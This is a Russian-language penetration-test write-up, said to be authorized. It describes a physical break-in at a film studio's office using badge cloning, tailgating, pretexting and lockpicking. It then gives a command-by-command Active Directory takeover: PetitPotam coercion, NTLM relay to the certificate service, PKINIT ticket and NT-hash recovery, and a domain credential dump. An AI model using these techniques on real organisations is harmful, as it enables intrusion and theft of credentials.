Взлом Киностудии
Все действия были регламентированы и выполнялись в рамках проекта. Все совпадения описанные в данной статье являются случайными, а персонажи вымышленными.
В день проникновения я вошел в центральный вход бизнес‑центра, успешно миновал проходную благодаря скопированному ранее пропуску (использовал proxmark) и направился к офису заказчика.
Как уточнялось в техническом задании, вход в офис регулировался отдельной картой, которой на тот момент у меня не было. Так что я просто достал телефон и начал имитировать деловую беседу в ожидании, что кто‑нибудь откроет нужную мне дверь. Минут через пять один из сотрудников компании‑заказчика наконец соизволил пройти в нужный офис и позволил мне прошмыгнуть за ним. Кстати, для метода следования по пятам легитимного сотрудника в нужные помещения даже есть специальный термин — tailgating.
Внутри офиса большая часть помещений была открыта, и я начал заходить во все подряд. Через какое‑то время один из сотрудников, увидев постороннего человека в помещении, спросил, чем я тут, собственно говоря, занимаюсь. Для успокоения бдительного работника я рассказал заранее заготовленную легенду о том, что я инженер и настраиваю сетевое оборудование. Этого оказалось достаточно, и больше никто из сотрудников не обращал на меня внимания.
Моему взору предстали рабочие столы сотрудников с беспечно лежащими на них печатями, USB-токенами, множество документов и жестких дисков (потенциально содержащих конфиденциальную информацию).
За время осмотра офиса я также подметил, что одна из дверей закрыта на электронный замок. Зато прилегающее к ней помещение было открыто и пустовало. Когда я туда заглянул, выяснилось, что от запертой комнаты меня отделяет лишь невысокая перегородка, через которую я невозмутимо перелез. Внутри было несколько работающих компьютеров, один из которых не был заблокирован. Открыв на нем браузер, я смог увидеть все сохраненные пароли, получил возможность изучить всю личную и внутреннюю переписку, а также запустить корпоративную программу, работа с которой может повлиять на бизнес‑процессы компании.
Закончив осмотр офиса, я отправился на разведку по коридорам и нашел серверную. Дверь была заперта, но я постучал, и мне открыл админ, который не был предупрежден о проверке. Я вежливо представился инженером сторонней компании, который опять же, согласно легенде, по согласованию с техническим директором должен был провести настройку сетевого оборудования.
Наивный и радушный админ спокойно пропустил меня внутрь и даже помог найти подходящий разъем Ethernet для моего ноута. У меня было достаточно времени чтобы просканирвоать небольшой сегмент в сети. Там было много интересного, например, пару доменных тачек с MS17-010, а также обнаружилась возможность выпустить сертификат в центре сертификации при помощи PetitPotam. Так получилось взять домен за пару минут.
Проведение Атаки на домен:
Внутри тестируемой сети, я реализовал атаку Petit Potam, используя следущую команду:
sudo responder -I eth0 -A -b -w -F -vv --lm --disable-ess
sudo python PetitPotam.py 10.10.8.1 192.168.111.4 -pipe all
[SMB] NTLMv2 Client : 192.168.111.4 [SMB] NTLMv2 Username : EXAMPLE\\DC01$ [SMB] NTLMv2 Hash : DC01$::EXAMPLE:1121134433667788:5DBBF33A4AC4B777308...
Далее необходимо было выполнить серию шагов для получения сертификата.
Первым шагом я нашел центр сертификации, придерживаясь алгоритма:
- Проверка контроллеров домена на открытые 80, 443 порты
- Проверка на доступность по пути /certsrv/certfnsh.asp.
3*. Если я обладал бы доменной учетной записью, то можно было бы при помощи sertypy.py выполнить find, который способен обнаружить все центры сертификации.
В данном случае, я проанализировал доменные хосты по результатам сканирования, и обнаружил сетевой узел с названием CA_Example, где был открыт 443 порт, при помощи команды:
crackmapexec smb 192.168.111.0-254
SMB 192.168.111.111 445 CA_Example [*] Windows Server 2016 Standard 14393 x64 (name:CA_Example) (domain:example.lan) (signing:False) (SMBv1:True)
sudo /tools/noPac/venv/bin/ntlmrelayx.py -debug -smb2support --target https://192.168.111.111/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
sudo python PetitPotam.py 10.10.8.1 192.168.111.4 -pipe all
В результате атаки в окошке с ntlmrelayx.py мы получаем сертификат в base64:
[*] Base64 certificate of user DC01$: MIIVDWICAcCCRccGVSeGSIb3VQEHAaVCEbfEph....
Далее я сформировал файл и конвертировал, используя слудующую связку команд:
nano dc01_cert.pfx.b64 - скопировал в этот файл содержимое полученное выше.
base64 -d dc01_cert.pfx.b64 > dc01_cert.pfx - декодировал сертификат
Стоит помнить, что для корректного выполнения запроса необходимо предварительно синхронизировать время с DC. Следующим шагом будет выполнение запроса TGT-билет, с помощью декодированного сертификата. Связка команд представлена ниже:
sudo net time set -S 192.168.111.4 && sudo python /tools/adcs_toolkit/PKINITtools/gettgtpkinit.py -cert-pfx dc01_cert.pfx -dc-ip 192.168.111.4 'EXAMPLE/DC01#39; dc01.ccache
Вывод терминала будет подобен следующему:
2023-02-17 15:02:22,217 minikerberos INFO Loading certificate and key from file 2023-02-17 15:02:22,651 minikerberos INFO Requesting TGT 2023-02-17 16:02:37,685 minikerberos INFO AS-REP encryption key (you might need this later): 2023-02-17 15:02:37,686 minikerberos INFO 93531c7f404f6593va25317t10fc5vb4574dq41e93495v40735cbqq4g0r1b4142023-02-17 15:02:37,689 minikerberos INFO Saved TGT to file
Далее, мне удалось экспортировал полученный билет для аутентификации, а также полученный сессионый ключ. Он понадобится для распаковки структуры PAC_CREDENTIAL_INFO в TGS, который в последствии будет необходимо запросить на своего пользователя, для извлечения хэша контроллера домена.
Команда для получения NT хеша (после флага -k устанавливаем значение, полученное на предыдущем шаге - выделил жирным шрифтом):
sudo python /tools/adcs_toolkit/PKINITtools/getnthash.py -k 93531c7f404f6593va25317t10fc5vb4574dq41e93495v40735cbqq4g0r1b414 -dc-ip 192.168.111.4 'EXAMPLE/DC01#39;
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
0a7711n11se4aqa5dd77aafdd77a80v3
Последним шагом я получил дамп ntds, выполнив следующую команду:
impacket-secretsdump 'example.lan/[email protected]' -dc-ip 192.168.111.4 -hashes ':0a7711n11se4aqa5dd77aafdd77a80v3' > NTDS
Во время взятия домена получилось скопировать пропуск админа, когда тот отвернулся. Через какое‑то время я и горемычный админ вышли покурить, после чего тот отправился на обед. Я же вернулся в серверную и прошел внутрь по скопированной ранее карте. Быстренько подобрав отмычки, вскрыл серверный шкаф и задокументировал это достижение на фото во всех ракурсах.
Так как скопированный мной пропуск был админским (а они обычно имеют доступ к большинству технических помещений), проникновение в хранилище, где лежали резервные копии, тоже не было проблемой. Серверный ящик я вскрыл и тоже запечатлел это для протокола.
На этом все мои задачи были выполнены. Я спокойно вышел через ту же проходную, что и вошел, и отправился уже в свой офис строчить отчет о проделанной работе.
Еще больше интересных статей в моем ТГ канале: https://t.me/pro_pentest